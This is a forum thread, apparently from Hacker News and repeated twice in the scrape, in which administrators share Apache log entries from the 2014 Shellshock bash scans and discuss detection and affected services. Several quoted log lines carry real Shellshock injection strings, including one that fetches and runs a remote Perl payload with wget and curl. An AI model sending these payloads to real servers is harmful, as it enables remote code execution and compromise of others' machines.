6 ms·

Bash 'shellshock' scan of the Internet

109 points by agwa 12y ago

agwa 12y ago
I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"
- mappu 12y ago
  I was scanned several times - looks like there were a few false starts and different ping commands: http://pastebin.com/badL7dtk http://pastebin.com/badL7dtk
  - agwa 12y ago
    Ouch - that first attempt (ping without the -c option) has probably resulted in a number of long-lived ping processes.
- gojomo 12y ago
  Someone not wanting to stick out might only probe headers that are less-often logged, but still possibly passed-along as environment variables. Has anyone logged 'HTTP_FROM' in a long while?
  - jackalope 12y ago
    The shellshock scan is setting the Host header, which might set the SERVER_NAME CGI variable in some environments and is not included in the Common Log Format or widely used Combined Log Format (which adds the Referer and User-Agent). For example, Apache's httpd directive UseCanonicalName is set to "off" by default, allowing the client to set SERVER_NAME via the Host header, possibly passing it to vulnerable scripts. Furthermore, an admin might use directives to log the requested host in a name-based virtual hosting environment to facilitate parsing. For example, when using Apache's httpd LogFormat/CustomLog directives, if "%V" is used as the format string and UseCanonicalName is set to "off", the string provided by the client in the Host header will be written to the log. Naive parsers might choke on this or even execute the code. If the shellshock scan results in a delayed surge of pings from a single host, this is likely to be the cause.
  - agwa 12y ago
    Excellent point. Apache actually passes along any HTTP header, even undefined ones, as CGI environment variables (of the form $HTTP_HEADERNAME) so an attacker could just make up a header and it would be very unlikely to be logged.
- ProblemFactory 12y ago
  Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells: access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22" access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22" Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.
  - waynecochran 12y ago
    I saw a similar thing in my apache log. I shut the machine down. I will check for changed files via `find` http://xmodulo.com/how-to-find-recently-modified-files-on-linux.html http://xmodulo.com/how-to-find-recently-modified-files-on-li... when I get the chance.
xnull2guest 12y ago
Yikes, that redaction... even if it didn't miss digits that's a mighty small search space. Really interested to see where the bug crops up aside from CGI scripts.
- deleted 12y ago
  [deleted]
gojomo 12y ago
Now, just to repeat the scan with: Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash "Why, who was that masked sysadmin? We didn't even get the chance to thank him."
- gcr 12y ago
  Who would grant `sudo` privileges to `www-data` without asking for a password? That's just asking for a bad time.
  - dsl 12y ago
    The same people who write CGI applications in bash?
    - agwa 12y ago
      Your CGI application does not need to be written in bash for you to be vulnerable. If at any point your non-bash CGI program (and this includes PHP, even with mod_php, since it sets the same environment variables), or one of its descendant processes, executes a bash script, you can be exploited. This is especially bad on systems where /bin/sh is /bin/bash, since /bin/sh gets invoked implicitly by system(3). So you could have a non-bash CGI program invoking a non-bash program using system(3) and you can be exploited.
      - peterhu 12y ago
        According to https://access.redhat.com/articles/1200223 https://access.redhat.com/articles/1200223, mod_php is not vulnerable.
        agwa 12y ago
        You're right; thanks! I saw the HTTP_* variables in phpinfo() and assumed they'd be passed on to children through system(), but they actually aren't. In fact the only environment variables passed through look pretty innocuous.
wcfields 12y ago
I see you! 209.126.230.72 - - [24/Sep/2014:15:04:17 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in... 209.126.230.72 - - [24/Sep/2014:17:14:58 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...
deleted 12y ago
[deleted]
thefreeman 12y ago
Not saying I agree with it, but personally I would be worried about prosecution from doing something like the scan he is doing.
- nwh 12y ago
  Especially as it's actually executing code on other people's computers, you can't even really say it's just observation at that point.
ilaksh 12y ago
To be vulnerable to this I need to be running CGI scripts right? I have my system set up with reverse nginx proxies and haproxy TCP mode pass through to things like nginx static files and Node.js servers. Can he run his ping command on my servers? I am thinking not.
- nitrogen 12y ago
  No, CGI is just the most obvious use of user-controlled environment variables. Other systems may also set environment variables to user-controlled strings for whatever reason. If such a system ever invokes bash, even indirectly or implicitly, with user-controlled environment variables set, that system is vulnerable. Example non-CGI vulnerable systems from RedHat: CUPS, dhclient.
  - ilaksh 12y ago
    Can someone from the internet use this type of attack through CUPS or dhclient then? I was asking about external attacks, not users that are already on the system.
    - nitrogen 12y ago
      dhclient: sort of. If you connect to a malicious access point, or someone runs a rogue DHCP server on a network you trust, they could potentially attack dhclient. CUPS: If you are exposing a CUPS server to the Internet to allow remote printing.
      - ilaksh 12y ago
        OK so are those the only ones you know of? I am going to patch but just wondering about this category of attack in a more general sense so want to make sure I understand the scope of this particular one. So say I have a server that is running a VPN (tinc). Then another system is connected to that same VPN network. Are you saying that by running a DHCP server on the second system, my server could be compromised?
lcedp 12y ago
Now I see him 209.126.230.72 - - [25/Sep/2014:07:43:58 +0300] "GET / HTTP/1.0" 200 151 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" ..and someone else 89.207.135.125 - - [25/Sep/2014:12:51:01 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
- piran 12y ago
  I just saw something from 89.207.135.125 -- no idea who that is.
  - boes 12y ago
    Saw that one two, seems its another guy doing a full scan
joeshaw 12y ago
The DHCP attack vector is the one that is scariest to me. We know that dhclient on Linux is vulnerable, but the number of unpatched Linux machines on a public wifi network will likely be too small to be worthwhile to try to capture. Macs on the other hand are prevalent in places like coffee shops, and Apple is notoriously slow to patch security vulnerabilities in their operating systems. Has anyone done much analysis on OS X's vulnerability to this bug?
- rsmarples 12y ago
  dhcpcd-6.4.7 is not vulnerable to this issue as it sanitises variables before calling the shell.
showsover 12y ago
>Update: Someone is using masscan to deliver malware. They'll likely have compromised most of the system I've found by tomorrow morning. If they using different URLs and fix the Host field, they'll get tons more.
waynecochran 12y ago
From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does? "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""
- waynecochran 12y ago
  discussed at http://www.solutionary.com/resource-center/blog/2014/09/shellshock-accelerating-the-standard-timeline/ http://www.solutionary.com/resource-center/blog/2014/09/shel... Bad news.
jamil0125 12y ago
m.facebook.com
jamil0125 12y ago
m.facebook.com

109 points by agwa 12y ago

agwa 12y ago

I've been monitoring my Apache logs all day for the string "() {". So far Robert Graham's scan is the only match. This is what the log entry looks like: 209.126.230.72 - - [24/Sep/2014:22:07:56 +0000] "GET / HTTP/1.0" 403 492 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

mappu 12y ago
I was scanned several times - looks like there were a few false starts and different ping commands: http://pastebin.com/badL7dtk http://pastebin.com/badL7dtk
- agwa 12y ago
  Ouch - that first attempt (ping without the -c option) has probably resulted in a number of long-lived ping processes.
gojomo 12y ago
Someone not wanting to stick out might only probe headers that are less-often logged, but still possibly passed-along as environment variables. Has anyone logged 'HTTP_FROM' in a long while?
- jackalope 12y ago
  The shellshock scan is setting the Host header, which might set the SERVER_NAME CGI variable in some environments and is not included in the Common Log Format or widely used Combined Log Format (which adds the Referer and User-Agent). For example, Apache's httpd directive UseCanonicalName is set to "off" by default, allowing the client to set SERVER_NAME via the Host header, possibly passing it to vulnerable scripts. Furthermore, an admin might use directives to log the requested host in a name-based virtual hosting environment to facilitate parsing. For example, when using Apache's httpd LogFormat/CustomLog directives, if "%V" is used as the format string and UseCanonicalName is set to "off", the string provided by the client in the Host header will be written to the log. Naive parsers might choke on this or even execute the code. If the shellshock scan results in a delayed surge of pings from a single host, this is likely to be the cause.
- agwa 12y ago
  Excellent point. Apache actually passes along any HTTP header, even undefined ones, as CGI environment variables (of the form $HTTP_HEADERNAME) so an attacker could just make up a header and it would be very unlikely to be logged.
ProblemFactory 12y ago
Thanks for the idea. Looks like there is someone out there already trying to download and install remote shells: access.log:89.207.135.125 - - [25/Sep/2014:12:30:00 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 302 169 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" access.log:146.71.113.194 - - [26/Sep/2014:00:26:04 +0000] "GET /cgi-bin/helpme HTTP/1.0" 302 169 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22" access.log:146.71.113.194 - - [26/Sep/2014:00:26:05 +0000] "GET /cgi-bin/helpme HTTP/1.0" 404 13272 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat*;rm -rf /tmp/jurat\x22" Any suggestions on how to best check if they succeeded? I think I'm safe as I upgraded Ubuntu Bash right after the announcement, and run Nginx+Uwsgi instead of Apache with CGI enabled. But Nginx might set some environment variables somewhere as well.
- waynecochran 12y ago
  I saw a similar thing in my apache log. I shut the machine down. I will check for changed files via `find` http://xmodulo.com/how-to-find-recently-modified-files-on-linux.html http://xmodulo.com/how-to-find-recently-modified-files-on-li... when I get the chance.

xnull2guest 12y ago

Yikes, that redaction... even if it didn't miss digits that's a mighty small search space. Really interested to see where the bug crops up aside from CGI scripts.

deleted 12y ago
[deleted]

gojomo 12y ago

Now, just to repeat the scan with: Referer: () { :; }; sudo apt-get update && sudo apt-get install --only-upgrade bash "Why, who was that masked sysadmin? We didn't even get the chance to thank him."

gcr 12y ago
Who would grant `sudo` privileges to `www-data` without asking for a password? That's just asking for a bad time.
- dsl 12y ago
  The same people who write CGI applications in bash?
  - agwa 12y ago
    Your CGI application does not need to be written in bash for you to be vulnerable. If at any point your non-bash CGI program (and this includes PHP, even with mod_php, since it sets the same environment variables), or one of its descendant processes, executes a bash script, you can be exploited. This is especially bad on systems where /bin/sh is /bin/bash, since /bin/sh gets invoked implicitly by system(3). So you could have a non-bash CGI program invoking a non-bash program using system(3) and you can be exploited.
    - peterhu 12y ago
      According to https://access.redhat.com/articles/1200223 https://access.redhat.com/articles/1200223, mod_php is not vulnerable.
      - agwa 12y ago
        You're right; thanks! I saw the HTTP_* variables in phpinfo() and assumed they'd be passed on to children through system(), but they actually aren't. In fact the only environment variables passed through look pretty innocuous.

wcfields 12y ago

I see you! 209.126.230.72 - - [24/Sep/2014:15:04:17 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in... 209.126.230.72 - - [24/Sep/2014:17:14:58 -0700] "GET / HTTP/1.0" 200 62 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-in...

deleted 12y ago

[deleted]

thefreeman 12y ago

Not saying I agree with it, but personally I would be worried about prosecution from doing something like the scan he is doing.

nwh 12y ago
Especially as it's actually executing code on other people's computers, you can't even really say it's just observation at that point.

ilaksh 12y ago

To be vulnerable to this I need to be running CGI scripts right? I have my system set up with reverse nginx proxies and haproxy TCP mode pass through to things like nginx static files and Node.js servers. Can he run his ping command on my servers? I am thinking not.

nitrogen 12y ago
No, CGI is just the most obvious use of user-controlled environment variables. Other systems may also set environment variables to user-controlled strings for whatever reason. If such a system ever invokes bash, even indirectly or implicitly, with user-controlled environment variables set, that system is vulnerable. Example non-CGI vulnerable systems from RedHat: CUPS, dhclient.
- ilaksh 12y ago
  Can someone from the internet use this type of attack through CUPS or dhclient then? I was asking about external attacks, not users that are already on the system.
  - nitrogen 12y ago
    dhclient: sort of. If you connect to a malicious access point, or someone runs a rogue DHCP server on a network you trust, they could potentially attack dhclient. CUPS: If you are exposing a CUPS server to the Internet to allow remote printing.
    - ilaksh 12y ago
      OK so are those the only ones you know of? I am going to patch but just wondering about this category of attack in a more general sense so want to make sure I understand the scope of this particular one. So say I have a server that is running a VPN (tinc). Then another system is connected to that same VPN network. Are you saying that by running a DHCP server on the second system, my server could be compromised?

lcedp 12y ago

Now I see him 209.126.230.72 - - [25/Sep/2014:07:43:58 +0300] "GET / HTTP/1.0" 200 151 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" ..and someone else 89.207.135.125 - - [25/Sep/2014:12:51:01 +0300] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 168 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"

piran 12y ago
I just saw something from 89.207.135.125 -- no idea who that is.
- boes 12y ago
  Saw that one two, seems its another guy doing a full scan

joeshaw 12y ago

The DHCP attack vector is the one that is scariest to me. We know that dhclient on Linux is vulnerable, but the number of unpatched Linux machines on a public wifi network will likely be too small to be worthwhile to try to capture. Macs on the other hand are prevalent in places like coffee shops, and Apple is notoriously slow to patch security vulnerabilities in their operating systems. Has anyone done much analysis on OS X's vulnerability to this bug?

rsmarples 12y ago
dhcpcd-6.4.7 is not vulnerable to this issue as it sanitises variables before calling the shell.

showsover 12y ago

>Update: Someone is using masscan to deliver malware. They'll likely have compromised most of the system I've found by tomorrow morning. If they using different URLs and fix the Host field, they'll get tons more.

waynecochran 12y ago

From Apache Log -- should I be worried -- bash not patched on OS X box. Anyone know what this does? "GET /cgi-bin/hi HTTP/1.0" 404 357 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jurat;curl -O /tmp/jurat http://213.5.67.223/jurat ; perl /tmp/jurat;rm -rf /tmp/jurat\""

waynecochran 12y ago
discussed at http://www.solutionary.com/resource-center/blog/2014/09/shellshock-accelerating-the-standard-timeline/ http://www.solutionary.com/resource-center/blog/2014/09/shel... Bad news.

jamil0125 12y ago

m.facebook.com

jamil0125 12y ago

m.facebook.com